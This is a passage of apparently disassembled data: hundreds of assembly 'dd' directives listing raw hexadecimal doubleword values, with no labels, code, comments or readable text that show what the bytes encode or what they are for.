		dd 3530F8AAh, 3E0E4CC0h, 6C02F218h, 0BB38BC94h,	2AA10E40h
		dd 85C3C538h, 5B7327DFh, 3B5951C0h, 440B00CEh, 618B34F4h
		dd 0FD00BA9Eh, 1BF04DDDh, 0BB8DD4h, 0A317C956h,	27CBAC20h
		dd 0D09B9F00h, 0EF9E0877h, 0EC21507Bh, 0FC2C0B17h, 94008948h
		dd 6846FD3h, 9C4CC200h,	96DCA7E5h, 48400AC1h, 17EBAD6Eh
		dd 1D0E00AFh, 7FD67EF6h
		dd 1CFC094Ch, 0FBC0EC2Dh, 6BA45C46h, 0DBC900CFh, 724E88E4h
		dd 270133CAh, 7C7BE6AAh, 6EE4AE8Dh, 0DCD500ACh,	0B5E3C4Dh
		dd 85B8B0DAh, 781D5BF8h, 0A3853D10h, 0DDC040CAh, 4E7072h
		dd 39143E21h, 83F45CD3h, 63063500h, 0DE66BDEFh,	702B0ED4h
		dd 48E02D72h, 0FF4E5A26h, 754C6B01h, 7EE1928Ch,	5D6830h
		dd 0E0C571C9h, 69E62094h, 799443E9h, 90B484CDh,	85BE553Ch
		dd 803C49h, 1B069E36h, 7E4EEC47h, 3A7C9062h, 4D8010F2h
		dd 86E58EBBh, 7C3CF1DDh, 0EB3B80A6h, 7E1E4C91h,	23973C7h
		dd 25C3D461h, 2C61AFF2h, 8CFEE45Bh, 9E449903h, 3864EF52h
		dd 3BF4E378h, 0D105BB81h, 80962811h, 0D0F15BA6h, 3793AD00h
		dd 0F569C10h, 83410076h, 0CC9FBA5h, 0A000332Fh,	0E4EE7F81h
		dd 60CB57h, 6B5C3858h, 0BF023F26h, 0B0C1FC1Ch, 529BAC00h
		dd 0A02C65h, 0B7F2A3F9h, 49C9E055h, 989AB501h, 7B2BFBFAh
		dd 0A8EFF050h, 0A6790084h, 91F90F4Fh, 0EA3D3B65h, 6F7A0CF3h
		dd 536808h, 0E6685076h,	243645E2h, 96DE31E2h, 0CEF22B41h
		dd 0A4E483C9h, 30A7138h, 0E8701068h, 0A90047E2h, 55802E33h
		dd 1C5AB8C2h, 42A420DEh, 0E3B19535h, 0E69638B0h, 0F6DD4900h
		dd 8BD83384h, 9AD00758h, 0A039DF71h, 3B1E5FADh,	4E00F97Ch
		dd 47DCD678h, 0A9C3F1h,	89CB1F20h, 1D13DDE8h, 9676D800h
		dd 5390799Eh, 3477F1Ch,	0AA4DFE80h, 0D78F5439h,	93FB825Ch
		dd 7A978380h, 0D2003F3Ah, 0D3DE9234h, 0CE8F1Bh,	648796CBh
		dd 919A4A02h, 7D0A2000h, 9BD0A729h, 43EA00D7h, 517846A6h
		dd 1001FFBFh, 0CF183CB6h, 8C60362Ah, 9DD3D24h, 0A6F1CBB0h
		dd 0FE001170h, 1CDE5569h, 188C6E5h, 73BBF8A1h, 20220FD6h
		dd 58C03460h, 359B69EAh, 1D1F00E2h, 1ABBD68h, 0E49CE27h
		dd 0F3070080h, 0D297062Bh, 8C6A54BEh, 9300032h,	91058CEFh
		dd 386081D4h, 0A05D17DEh, 0F4E4002Eh, 0FBDACA23h, 8304EDA5h
		dd 46F78FD4h, 0B6D7ECC0h, 1B430E7Eh, 0C6471311h, 0B8DAE004h
		dd 300726Dh, 0B2E7E08Dh, 240A14E6h, 39A0B5A5h, 0BD81707h
		dd 72AEA1C8h, 5D0267Bh,	9D4DB27Fh, 67CD1490h, 4CD7003Bh
		dd 55E30C45h, 0B8779F22h, 0A35220B0h, 80753CE8h, 8AFFB740h
		dd 0FA7B493Dh, 0BE2E00D8h, 30C2F232h, 85FAA222h, 0F70C7113h
		dd 81CF3000h, 4A52E0h, 7D9E206Bh, 4CBBF51Dh, 3EB40D00h
		dd 0FB0F687Bh, 0D78C00F1h, 0F4A8CCB8h, 15035C32h, 2C9B0B3Ah
		dd 0E0C9C398h, 0D3FB17h, 85AD92CEh, 0F962031h, 9386BA01h
		dd 59897190h, 36B5E8h, 0AA3A1A2Ah, 0C892E3C3h, 0ED333700h
		dd 0B32940F0h, 178B7293h, 40B707DAh, 0F3CE60C4h, 0E8283849h
		dd 1501A08Ah, 0ED1746Eh, 6CF47F55h, 200D00B9h, 1C804F4Dh
		dd 32047BECh, 9AF93C33h, 47C1FBC0h, 0AA7BADh, 948A75B8h
		dd 57F38963h, 22C09303h, 0E0FCAF7Eh, 47251Fh, 0EE4BD640h
		dd 0B8B68CD8h, 2D00FBF8h, 15926193h, 0B849520Bh, 0A3E22Dh
		dd 0A8723334h, 0EF8FEB86h, 808C3200h, 5816DE6Eh, 51941CD9h
		dd 21E40181h, 27870993h, 1AC40074h, 539D5BC6h, 0B0212CB8h
		dd 2772C434h, 1382BE6h,	0AF9E459Ah, 7440C20Fh, 82752444h
		dd 0E661640Fh, 0E1D5C030h, 72BB3A39h, 0D011029Ch, 0BD678F02h
		dd 0BE899C45h, 79FC413Fh, 0B25116C0h, 0C4B50004h, 0A8A9CE73h
		dd 14720B82h, 0B2841D00h, 6451DCF4h, 0AB50C0ECh, 31A91E3h
		dd 4284C59h, 0D4D82560h, 0C1047C90h, 5E7A0EA1h,	0A1B9017Eh
		dd 0D40AF1C7h, 2021436h, 93583CFAh, 0B37468CEh,	609EB087h
		dd 50C8506Bh, 0E37380Fh, 39001086h, 95EC3Dh, 98D9B49Bh
		dd 6E5B107Bh, 0B1786700h, 0EB47C8CBh, 566D2434h, 70BB008Eh
		dd 2CCCA6C7h, 2FF92300h, 68914003h, 0E5C0007Fh,	0BC268027h
		dd 740E6FBDh, 62F19CA6h, 0E0C5CAA0h, 77E827h, 0C2A564Dh
		dd 55D2F0B6h, 0D500A7ECh, 37B93CDBh, 24BFEADh, 0C8DFF4E9h
		dd 1CE749CAh, 0B2E81194h, 0ACC44Fh, 0D4183E45h,	44AC5E8Ch
		dd 0E083DA17h, 7C23060h, 7D2D1ECAh, 128B800Ch, 0A87FABA7h
		dd 9FB92000h, 0C5F87057h, 144F4C52h, 0DCAF1107h, 0CC63208Bh
		dd 0BE00C389h, 0E4B4AC56h, 64F99651h, 1C3E90AEh, 53A85080h
		dd 0A3ECE0h, 187DBB4Eh,	0D6C5FFD7h, 0C4268600h,	77D2D869h
		dd 0D4EA001Bh, 358850B0h, 0FB03BB51h, 9067CF78h, 6C98CA05h
		dd 0CD110558h, 9066102Ah, 0FB0BDDF0h, 0BE724002h, 80BFD388h
		dd 764D3A80h, 651300ECh, 77CB5CD6h, 0D90EA9DAh,	0E03DC4A6h
		dd 84A42E49h, 5FD0528h,	809F3CB2h, 98D61993h, 0F0B3FF00h
		dd 5190C74Ch, 0C0300077h, 0D8E82EDEh, 1300FECDh, 8AA7B85Bh
		dd 9820BA98h, 0C24A2EF4h, 1899D9F4h, 0C5583C48h, 9083B707h
		dd 0DB864734h, 15029080h, 0D7001AB6h, 0CDA6F7EEh, 3CBA7A3Dh
		dd 3002E25h, 0D5819DEBh, 0D8027859h, 3F74F512h,	0E0BC6316h
		dd 13AD1D4Ah, 0E80B48h,	212E8BCCh, 0F517DDFAh, 0F20051E1h
		dd 578D4E4Ch, 0DC601D37h, 3D1280E5h, 0B3270EB9h, 1800A490h
		dd 60C8967h, 52DE07Bh, 4744B1C0h, 38F014D3h, 17F192C0h
		dd 0EE0012DBh, 0E7BDE6ACh, 123AB0EBh, 59931B4h,	0CC4C7A48h
		dd 6F0221F4h, 34AAA95Ah, 0FB34C8A3h, 0F771027Ch, 0D0B1D63Fh
		dd 35128460h, 0F4582401h, 0B0F0532Ch, 1C0A09F0h, 4087A760h
		dd 1D7B6E81h, 0ED386825h, 20AA30EAh, 0A1234DAh,	0C044D8BEh
		dd 7AD10094h, 0FCA3BC18h, 65747200h, 0B19705EEh, 0F1F0BEh
		dd 67663A69h, 0A0176F29h, 56B20303h, 80ECAE1Dh,	2B764F0h
		dd 72841C9Eh, 3B60FC39h, 870050D0h, 51D9AA0Eh, 614F90h
		dd 8A291E3Dh, 62D0B684h, 34FA3F00h, 300DF625h, 63E200B7h
		dd 0B6986724h, 0BC003E51h, 60470F89h, 3827F57Ah, 5500184Fh
		dd 395386DDh, 0D0EDF30h, 0C78ED0C3h, 3440A57Dh,	3A3F5E49h
		dd 82804EEFh, 8B6B948h,	9AFC5B26h, 750E3090h, 20CF8936h
		dd 1D69C952h, 0E7F9008Bh, 2B63367h, 830077C8h, 4576A625h
		dd 28AD26h, 0CF411669h,	8736E5Ch, 4F10C800h, 77BC847Bh
		dd 19A500ACh, 92461EF6h, 3F0A3EDFh, 0E289E9F5h,	41F18639h
		dd 1E811514h, 126DFD55h, 0F185E8Ah, 24036B35h, 103CD1FEh
		dd 56270005h, 58803F73h, 0EFC61EABh, 1450037h, 0BB2C381Dh
		dd 0AD505D00h, 7A5EF74Dh, 733EE0Eh, 0E46EA105h,	7037B619h
		dd 2224E82Ch, 0BB524D03h, 0D6BC8354h, 0FD264868h, 0C4B0C600h
		dd 0B2F736B9h, 0B0DF053Bh, 7E0321FDh, 1C761DE0h, 35B549B1h
		dd 1FAD0580h, 3B03D6D1h, 6C233621h, 24B2D02Eh, 0D9840077h
		dd 0D5499918h, 7600D208h, 0E598BA7Eh, 3C7D1A40h, 38004F4Eh
		dd 8786A702h, 310043FAh, 0EAAC3AE0h, 1DA4AC2h, 2654063Fh
		dd 68633312h, 23B90E24h, 5CD760BDh, 44CE4142h, 9A009918h
		dd 0B4015993h, 4CFFB889h, 0EC7C243Fh, 4D98747Ch, 26002C3Eh
		dd 0ADF5E714h, 0B0F86F97h, 0EFE9D460h, 405E09h,	5B449E25h
		dd 0A1FB90F8h, 32E0771Fh, 40BF8A8Fh, 0CC7E6664h, 0FF0100E6h
		dd 55D3FA95h, 9600BD9Ah, 0D00C0FF6h, 7643CDE7h,	0DCEA62h
		dd 0E4EFD809h, 26A15199h, 0D038EA01h, 0FBC38170h, 0ABACC0h
		dd 0F6786294h, 0F4DC895Fh, 0EF002F7Bh, 2DD9D3C3h, 0FCCAF81h
		dd 0D5D12518h, 8296D700h, 5C00C5EAh, 5DADA851h,	0E89CAC79h
		dd 2080E310h, 37C5E680h, 0DD070DE8h, 0E53E20A7h, 0BA5D671Fh
		dd 0B87241D0h, 0F13130A1h, 684DE230h, 3DC31900h, 569100Ah
		dd 601C74D4h, 20AE212Fh
		dd 480FBE18h, 8198191Dh, 6C04C1DFh, 1E7EECh, 0AB87EADEh
		dd 293D2E2Dh, 0B0B35B00h, 0D8446C07h, 0D6C2317Eh, 0D8DC2D48h
		dd 8C03A656h, 0E95362B0h, 8910A8ABh, 3D4100D3h,	9461D7C3h
		dd 910CF5D6h, 0B1CDA5E5h, 1E7B43C4h, 3D8E196Fh,	91C4B022h
		dd 0A76D01D0h, 0D8206117h, 0A55F0002h, 0CAD86835h, 2354D7DCh
		dd 0A06F3194h, 0C98C6031h, 0E4EB41h, 4D68BFA3h,	0E82ACCD4h
		dd 0FC0FB206h, 1E85777h, 8A31702Dh, 0DC038D28h,	9059D85h
		dd 37C4905Dh, 0AB9C2380h, 441A01C2h, 20A1B0AEh,	1E8DC813h
		dd 7BD3C901h, 0C8818E06h, 85A7E0h, 1D999337h, 0D43CF23Dh
		dd 96110203h, 0C8D1B820h, 77CEC9h, 3CF99F0h, 402706F5h
		dd 8FC0193Bh, 0F2DFD4Bh, 9D6CE0A1h, 0EA88E4h, 5BE67D1Dh
		dd 349F436Fh, 6ACDA000h, 87E87875h, 0CE31C0FFh,	84899EC5h
		dd 0A76C8000h, 8F398807h, 202660BAh, 461C7F7Dh,	0C7B39603h
		dd 34B2E63Bh, 0C141F408h, 0E040BF96h, 50000936h, 525C24C8h
		dd 12CBC3F2h, 207759h, 1B64DC78h, 21F06B5h, 0C2CC1E5Bh
		dd 2A1C9CBh, 0BEF01D73h, 0B90288E0h, 8F1560BFh,	0E86C1E49h
		dd 1D08B180h, 48208185h, 0D0239982h, 3904E860h,	6DB0DC30h
		dd 4CCBDA60h, 0F9EE340h, 0CABBB980h, 4FCC85h, 201127B0h
		dd 400D754h, 2BC6B2AAh,	0FE617493h, 553A005Dh, 0B0529728h
		dd 69000641h, 42BE20A5h, 0A1ABCh, 7965E3CAh, 93D5E789h
		dd 0D3EECC00h, 0B9101762h, 0F62C007Dh, 0DA4091EDh, 533E47ACh
		dd 3F5C9D81h, 0F5440FC0h, 3193AAh, 0A2621A6h, 976BC759h
		dd 34075CF6h, 309CEE0Bh, 0F91AC9C0h, 7D1F01DCh,	1B6ED1B6h
		dd 83AE8090h, 0BA284449h, 41253E5Dh, 0F8C21F7Bh, 3C3F2435h
		dd 0DCF55200h, 20F298Bh, 0C9039D7Dh, 84CD10FAh,	0B3A1905Bh
		dd 6219C0FFh, 52452A0Fh, 230098E0h, 3BB1A2C0h, 15040ACh
		dd 4C849E22h, 705579CEh, 0D31BECBFh, 0F998D171h, 67004132h
		dd 6400C84Ch, 8E4BA026h, 0F81AEBFFh, 0CF6C305Fh, 0AFA7818h
		dd 0B70011Fh, 0AD553700h, 7456191Bh, 0F51F014Ah, 288FBBB8h
		dd 0A57130EAh, 98105528h, 3E75F7FEh, 8A72D000h,	56FB1DC1h
		dd 103901AAh, 43B9713h,	198C6015h, 0D8983300h, 0BF61216Fh
		dd 0D4C70EAEh, 3DAEF705h, 6EC0A3EFh, 3AC1D667h,	21C0A0E8h
		dd 383DE1BCh, 0B1C9A060h, 93E500A1h, 966D72B0h,	0AD60DE16h
		dd 0BEA71728h, 1E760BCCh, 7C83CB56h, 39A0C48Eh,	17010609h
		dd 97CDAA87h, 8270C347h, 0D643180Bh, 363858ADh,	8307B9EEh
		dd 6B706DA4h, 2C40C714h, 3937BCC3h, 9B14302h, 0D06A9C98h
		dd 0D2421FA4h, 33C13DFh, 18560E1Ch, 35253800h, 0ADAE01ECh
		dd 8944183Ah, 196A0863h, 591F20C0h, 0AC358D1h, 0B79DC683h
		dd 0AA585E68h, 0F06840EFh, 7A49F603h, 0A0822042h, 9E7FD8h
		dd 3796A7DAh, 0E72CAD86h, 7728400Ch, 60AE709Ah,	0D662E06Fh
		dd 0D30341BDh, 3ED1E1B1h, 0D52A986Ah, 7F090D2h,	0ED0781F3h
		dd 0E5D5055h, 0C300B229h, 239D3E1Ch, 522B1Bh, 1486767Eh
		dd 0F151DD84h, 0E9DC9B1Fh, 0D3DB8E7Ah, 6D0860AAh, 1F1FF509h
		dd 405C9C72h, 41606344h, 3603DF58h, 5224B74Dh, 30E3B3F8h
		dd 3F218F09h, 2F007A28h, 1A5E6D9Eh, 0C7CAAh, 3A3E1D17h
		dd 6A94805Ch, 8D7F5D01h, 6358C12Dh, 46D31210h, 7F498060h
		dd 15127B1h, 6D0C149Dh,	0F5368A15h, 0FD07F080h,	305BB5Ch
		dd 69287056h, 38390025h, 63FE719Ch, 0C418B35Ch,	320850B6h
		dd 1820C164h, 0FC7D8BF8h, 39015912h, 0B99BBC65h, 917149B3h
		dd 0A9A37880h, 7610EE73h, 0BEBB3A00h, 0F8AF2266h, 657500FFh
		dd 805DD8A6h, 400CC55Eh, 0D826CA0Fh, 882F006Dh,	0E549C42Ch
		dd 3200AB25h, 7AEEE19h,	9AA7EFh, 0E8588C4Ah, 0C9DC245Ch
		dd 2D35D700h, 0E3DEA34Eh, 80AA0EBDh, 0B783414Fh, 0CEB00F08h
		dd 440FF255h, 0C0762BABh, 0C7C80D19h, 0E43A3F04h, 9FB1928Bh
		dd 0D6405B8Fh, 76798A55h, 8785D53Fh, 8E1CC5C1h,	0DCCD59E0h
		dd 5B7482h, 63B19D60h, 0A23B4C94h, 1A0EB37Eh, 40A40649h
		dd 918F8BA1h, 2FA6006Dh, 0CBFC1F63h, 0C80113DBh, 37681BAEh
		dd 7CE092A4h, 817F03BCh, 679BA9DEh, 0D63423B8h,	0DF1DA800h
		dd 0A5CCB3Eh, 0AEEA00ECh, 0D808DAACh, 0B70364B8h, 0FA685FE9h
		dd 7C280641h, 187DAEA0h, 0F3004DEEh, 8E05FEC0h,	1FA438h
		dd 2299C565h, 36B315E0h, 3FCDBE00h, 8BBDA691h, 9B6A1D35h
		dd 0CACB09E2h, 893A0A80h, 1700D730h, 0B872B9Ah,	0AA1483h
		dd 0FCEA92EFh, 96D9CDD3h, 0EE3C5D7Bh, 0B27FFCFFh, 0ED9DDA19h
		dd 72C0C878h, 0CBBB1E65h, 0F9A9CC79h, 34A09960h, 0B400111Fh
		dd 0D66C436Dh, 3AFDCEh,	0A4B72BC7h, 0AB1CECA9h,	0E4DADC06h
		dd 0D0FFBDh, 0BB7C7F3Eh, 0BA911813h, 996B60F9h,	0E88E800Ah
		dd 0F30098CCh, 0B7D1DFA3h, 0A8E094h, 8D075364h,	45A6C52Ch
		dd 476075E4h, 4D9FE80h,	1C689031h, 0C0743EA8h, 95DA9419h
		dd 3306AB59h, 0FB64BA7Bh, 47721858h, 5CDA3839h,	7CABAF00h
		dd 7ECEBC6Bh, 0A5650C78h, 6E591775h, 0C9CFEA00h, 0C84854E3h
		dd 76E70ABEh, 3D090EFh,	627E4347h, 0C5721190h, 25FC7100h
		dd 0B27BA4A6h, 50C8007Ah, 9D63CEFEh, 0F1005498h, 5E1CF776h
		dd 6DF09Ah, 665F50B7h, 98DA1204h, 7A2C3Dh, 1A17BD79h, 0AF2EA3h
		dd 14F8554Eh, 4A85B46Eh, 0D1F8A1E2h, 0F1CCBA00h, 0B8366525h
		dd 0F5313EB6h, 0BFE61681h, 81F7712Eh, 0CF4C7870h, 1180B299h
		dd 0C9885916h, 1901BDCAh, 1690CA2h, 219F8BA5h, 689EF8FCh
		dd 0C51F40D7h, 0F5CC9C42h, 0B864860Fh, 4CF402Eh, 136D955h
		dd 62980F28h, 80B3E574h, 0BFEA440h, 0A976F0CCh,	0F8DC1978h
		dd 0CDDFCAFh, 0BEB41880h, 0EA18C898h, 0F6E823D4h, 0C13600A0h
		dd 0E1C8FDEh, 5E0048CBh, 925CDBEFh, 3AAFE1h, 0D2E94393h
		dd 0C0DD0156h, 14EDE4Ch, 0A4279451h, 3FC802F1h,	0D2EB00A2h
		dd 119C5209h, 0B1002B9Eh, 3B774810h, 9CCEEB5h, 99DC1FCh
		dd 0E32A6800h, 8C17E628h, 0C3006E73h, 80190B36h, 0E93D002Bh
		dd 9B79042Fh, 62002290h, 6A751303h, 0A03918AAh,	560D5D9h
		dd 9DC5D73Bh, 2848036h,	0CC008605h, 8EB1BD27h, 1C7A55Ch
		dd 0B2C2D056h, 810C0D51h, 0AB11C420h, 30F493E6h, 0E310099h
		dd 0D9857325h, 5A1DC5E4h, 0CB1DDB6Eh, 50812380h, 1D078805h
		dd 81702815h, 6CE1677h,	47718339h, 0A04E83E9h, 69DC62h
		dd 0C3FDF96Ch, 516D8C3Ch, 862C06F8h, 570009DEh,	0DC781146h
		dd 5E5C060Ah, 206FC08Ch, 5D446C1Ch, 28FBE947h, 0D1A71BF7h
		dd 0B340DA44h, 0FD4F42C0h, 0E5EF6E00h, 5C8DD4F5h, 367F00F7h
		dd 34D92265h, 0E600C43Ah, 0E3DA2743h, 0AE0968h,	69B37914h
		dd 0CB44B08Dh, 0F9C9291Fh, 0DB84ADC7h, 0DACC9BC0h, 0C642007Dh
		dd 5C5AC5Dh, 0C200631Fh, 0EDF1815Bh, 77ADB5h, 0C17339FDh
		dd 76534049h, 0EE7A7900h, 0E695AF44h, 1CB40F67h, 0F46031C9h
		dd 960F2493h, 3AF03503h, 0C8C1EAE1h, 7F109920h,	98C70E5Ch
		dd 9683B0ADh, 0C588191Ah, 0C93EAE0Ah, 579389B7h, 8D7F02E2h
		dd 40C05DA0h, 6DFCE41Eh, 0D8AFAA39h, 83DE3E28h,	7674E9EEh
		dd 4092B0D6h, 147EA7h, 0EAD13C02h, 353BFF43h, 583299E0h
		dd 0E0E510D3h, 0ED1490h, 0E11C5275h, 0D835BFB9h, 100FDFEh
		dd 573D9167h, 1C277D5h,	0BF93641Eh, 2153BA3Bh, 3808E8EBh
		dd 74E1D48h, 0A0A344F4h, 0D7EC3990h, 3CFCDFh, 2690045Fh
		dd 2D36C0B7h
		dd 0B64DAB00h, 695C42AAh, 0E1FF0394h, 0D83B9302h, 56AF5988h
		dd 80079D3Bh, 0B9AA474Ah, 3CF64Bh, 0F3DFD30h, 0F755C635h
		dd 14857501h, 0E24C1BE4h, 650C1840h, 42D8C15Ch,	61D1538Ch
		dd 1B0C2083h, 8200177Ch, 72495EC1h, 1D6D362Ah, 801577DEh
		dd 16521067h, 2428FF0Fh, 63222C13h, 84143D5h, 47C78F7h
		dd 4616B4EFh, 14F810FAh, 2CAA0135h, 316F3008h, 0E95C4804h
		dd 45969F42h, 135F9D02h, 99EAE4A0h, 0DD423BEEh,	0D1642608h
		dd 18CF0510h, 2E86360h,	3184819Ch, 0B9B1EE0Bh, 0D0EC095Eh
		dd 3AE71563h, 120A2CD6h, 1D844027h, 171C88D9h, 3D10901Ch
		dd 585D607Eh, 9EB688D8h, 0CF580A8h, 18C1F800h, 3E4A5B1Ch
		dd 96CB6080h, 26C68245h, 1A474B03h, 0A0A42B35h,	1CD599D2h
		dd 4C9C81E2h, 0DE80C07Dh, 6865601h, 0FD8CCC4h, 0F9DAE0C6h
		dd 4C1F0077h, 3F5BFB7Eh, 30FCDB8h, 878628AAh, 0F8A2B9F7h
		dd 5BA88092h, 0EC3663h,	0A39AE708h, 84F7D8F2h, 0F8389400h
		dd 0ACAD2A4Fh, 1C4B0162h, 2EC18323h, 3A188ECDh,	2583FC9Bh
		dd 0C084764Eh, 0A0B10273h, 633D49Ch, 5467149Dh,	11006841h
		dd 0AD3AB7B2h, 355FF9Ah, 1AE3B1D6h, 64C09BAAh, 0C0C5F820h
		dd 98401176h, 0A2D83A27h, 496600FAh, 6E6CEA1Ch,	0B1390F79h
		dd 9DBA005Eh, 0CD633AE4h, 1617446h, 5DB9D1B3h, 5412FFDFh
		dd 11E803B4h, 0ED8032EBh, 0E31D3E71h, 19805124h, 0E08FB47Bh
		dd 3CF03FFFh, 2FF4D200h, 986412B0h, 4ED3B901h, 1E9C068Ch
		dd 0F868A840h, 7C5449A8h, 66B7D80Eh, 39405502h,	56FFDD80h
		dd 9F00DFB2h, 0F6A46121h, 0C06BB3E8h, 0D34B089h, 190CFBF4h
		dd 0E913E0D8h, 4C7E0138h, 947AEFF2h, 28D1E43Dh,	0DF01B27Eh
		dd 4BE08E89h, 0D1808A6Ch, 281FDEBBh, 0A248FDAFh, 781703B0h
		dd 0A4C6F3F8h, 0B25630C3h, 0B7D448BCh, 0DF5B0FC8h, 891823E1h
		dd 69180E77h, 0E81115A6h, 22670118h, 890DC53Eh,	2013C5F4h
		dd 63008B64h, 6D4C3A3h,	13ADD37h, 0CD577750h, 0D0AC654Ah
		dd 2F18F1DAh, 0FF3018E4h, 0E2E7022Bh, 9F61987h,	43B88763h
		dd 6F48C421h, 56360077h, 0C8EF3876h, 85F200CCh,	0FB997322h
		dd 0FEC0E0D6h, 2B92FFA5h, 84D507C7h, 80A626B6h,	42CF9C01h
		dd 0A4A9861Fh, 20DD6E0Eh, 5B6BDE02h, 6AD70FC5h,	0ACE0448Eh
		dd 0DCF88DD0h, 834FCB09h, 1A98021Fh, 0FE5600DEh, 94A0AB36h
		dd 73079015h, 9DAECEAh,	649CFD1h, 8103C89Ch, 41EBB516h
		dd 1F8CC4CCh, 1000BEAh,	61FE3070h, 245DD244h, 130C8257h
		dd 51AB005Fh, 0C700E28h, 17F39C1Eh, 2F1CDA40h, 0AB8B39h
		dd 8E8C8849h, 68FFDDB4h, 4EE9DB00h, 7058792Dh, 0E9000B9h
		dd 0D1E24DCFh, 8700C297h, 0ED86D42Ch, 3137C46h,	425198C8h
		dd 0FDD0A8EFh, 0B8B097A1h, 33B9011Fh, 8682B680h, 0F254A5Dh
		dd 56168823h, 0BBD9C0BFh, 26D84642h, 0CB2BBF00h, 5F75ECF6h
		dd 0B990003Fh, 6106C0Dh, 940F044Bh, 20CCED22h, 2F44DCBAh
		dd 68D50320h, 0AB6764AFh, 6BBE70EFh, 0FC00471Eh, 0F2016372h
		dd 46B662h, 58FBD0F4h, 881799F9h, 0D4EE8300h, 70B07B3Ah
		dd 0D3B0F2h, 0A0BA7EF1h, 927DFBFFh, 0F00F3200h,	0CBEE28D0h
		dd 80170058h, 98E26661h, 1005F83h, 7D301890h, 0EB51934h
		dd 0EC1B1A2Eh, 7340DEAFh, 0C5C44A57h, 936548h, 40FDBAF5h
		dd 0C0C762Ch, 0EF7D3489h, 4A58E19h, 0F08BF0h, 0CDEC63C5h
		dd 830D396Bh, 4F2D6A00h, 9286B457h, 1EEEF1h, 663A9F8Bh
		dd 4755A5EDh, 930C29D2h, 12E2850h, 8B3E05C6h, 567E5D3h
		dd 3029F786h, 1B515695h, 300C5484h, 29DE478Bh, 0F912E5F5h
		dd 0BBA33C83h, 0DD442974h, 9DA74409h, 198056FEh, 1FE50AD0h
		dd 36286F8Bh, 0A142291Eh, 2CA65F0Ch, 3944A3C8h,	0C5B2445Bh
		dd 6729D361h, 788C557Ch, 6C293297h, 31222A20h, 91A17429h
		dd 0D051B89Ch, 7B63B750h, 16D48D29h, 617650h, 514569D5h
		dd 7C002671h, 0FE9E3187h, 0BCD3278Ah, 62F80007h, 443FFF07h
		dd 6ACD00Fh, 6D304071h,	7545EE1h, 5FFDE480h, 0EDC3A0BAh
		dd 840008A6h, 3B63FCFAh, 0DBBF46h, 0DADF4C05h, 79F47E96h
		dd 0ECD2EE0Eh, 1CA2720h, 0E0187510h, 57690055h,	63F743B8h
		dd 0BD002703h, 196AD4CBh, 79D7441Bh, 0F8700A3h,	0EE29F4D0h
		dd 42006D5Dh, 0D1785E9Eh, 6168930Eh, 69FA1016h,	0D03BF57Fh
		dd 9A00F61Ah, 0C57D8F8Ah, 0E0F881h, 6792552Dh, 0F5EC599Dh
		dd 0D079311Eh, 0FD3A5E87h, 1B91E160h, 3DCC0022h, 5B816CF8h
		dd 0C314085h, 76D2602Ch, 0CA684C0h, 810D33E9h, 5B00F534h
		dd 69EB7307h, 5A266Ah, 6745D7B2h, 0C3998ABEh, 0EC541100h
		dd 838BDEE2h, 62DF0055h, 68222EAFh, 3C1E24B4h, 740875Eh
		dd 0A44B9B49h, 2B981FA9h, 1C11C084h, 60C94ACCh,	4FC6180Ah
		dd 9A00C05Fh, 3BECA5D3h, 0BAF11CF9h, 8BD640ADh,	1F54923Ah
		dd 2F8CF00Fh, 0F887E0C9h, 0E5158CCh, 0A3FD06DDh, 6DCDFA40h
		dd 210052B7h, 0AD09DF6Ch, 5DA5E0h, 0B13FCB8Ch, 0C2E32353h
		dd 0B5866100h, 630B4817h, 43B70172h, 0DADCC0B9h, 0C84FE421h
		dd 1E8C91Eh, 6D40A29Eh,	9FE5525Eh, 0E34E009Eh, 0EE728D92h
		dd 133B412Eh, 0B6A85F26h, 2CEB3200h, 0D4552B56h, 5CD28C00h
		dd 2F53421h, 308300AEh,	0ED191868h, 0C500ADF8h,	0D387A372h
		dd 0C6B912h, 778F3EFFh,	557060BBh, 8C7BB001h, 5C84B28Bh
		dd 6838DA80h, 62170658h, 0A900C076h, 5565BB7Eh,	7CFAC9B5h
		dd 53740081h, 5243FC15h, 5B009160h, 662490D3h, 0B4CBB7h
		dd 98341AF5h, 0DA55CC6Eh, 0B079EA00h, 0B8C7674Dh, 4C01009Ah
		dd 0E70629CFh, 0FC0056D6h, 9E89A62Fh, 1528670h,	0CCF4626Bh
		dd 0E0C4C2C6h, 0AC0073F8h, 0D8C06181h, 3DB2C1h,	30470ABCh
		dd 0CC8DA840h, 5A93650Fh, 9BD002EBh, 0F137C0C6h, 5E02002Ah
		dd 0A96A0573h, 0E17D3B23h, 98520903h, 0E045BAF7h, 30969C62h
		dd 1A04E37h, 1673C22Eh,	0B090EC00h, 34AB31E2h, 2ADC0F4Bh
		dd 300608Ah, 0EB14ED6Ch, 0FA002674h, 84AA53DFh,	1ED111F3h
		dd 7615E78h, 0B0587E95h, 0D220C33Eh, 0A00A6700h, 801059D9h
		dd 81631D1Bh, 0C99AC0B2h, 712507C2h, 0FC746700h, 0C3BD226h
		dd 1E9CEE0Dh, 8077B2A6h, 832F89C9h, 4200DF4Bh, 13BFAB97h
		dd 5465807h, 0C18A0C5h,	8FC28033h, 3007FE80h, 2112D996h
		dd 0AC78FC20h, 3D17AB2h, 0C1B7896Dh, 9980E9E1h,	2601BAF6h
		dd 0A82BD693h, 1530BD73h, 953700B8h, 0B35447C4h, 8B09034Bh
		dd 801593BEh, 85BAA0E7h, 2570024h, 731EA667h, 40505EC1h
		dd 480F9AEDh, 0A0EC0AA1h, 45CA61D8h, 35E8017Fh,	7EC3B8B1h
		dd 6BCA2089h, 0E140D400h, 6212C815h, 65C9078Ch,	336EA168h
		dd 3C0A58Ah, 0C2E0C0BAh, 1D44C48h, 7BB1C151h, 27CCF990h
		dd 0BB260067h, 0C345CBCCh, 0B6005E56h, 0C0E7AE32h, 0F823B995h
		dd 0E62A004Ch, 0EE927ED4h, 53F8B462h, 36B24E00h, 5AFC95DDh
		dd 1C7A1D16h, 0A2884055h, 0D98BACF7h, 0F8EE9400h, 6C664292h
		dd 0A913079Ah, 398D5825h, 0C49EC783h, 70908899h, 0BC01F6EAh
		dd 0F4DB235Dh, 0B5EC1B69h, 82D112CCh, 87B9033Ah, 0F0B8FD2Fh
		dd 0E03C16C6h, 420C00D8h, 1A34025Ah, 7D0900D3h,	0C9597860h
		dd 0B83DB9F0h, 0B3FFCh,	0E3F6AA81h, 1224A70h, 5EE6D5BEh
		dd 0E84EC81Ch, 0F80FD085h, 835C92BAh, 0E035491Dh, 380AD9ADh
		dd 3F009FABh, 0C7C5A1D0h, 0E70FEB48h, 8ED360h, 0AD9C128Ch
		dd 55DB0014h, 0A2A9C7FEh
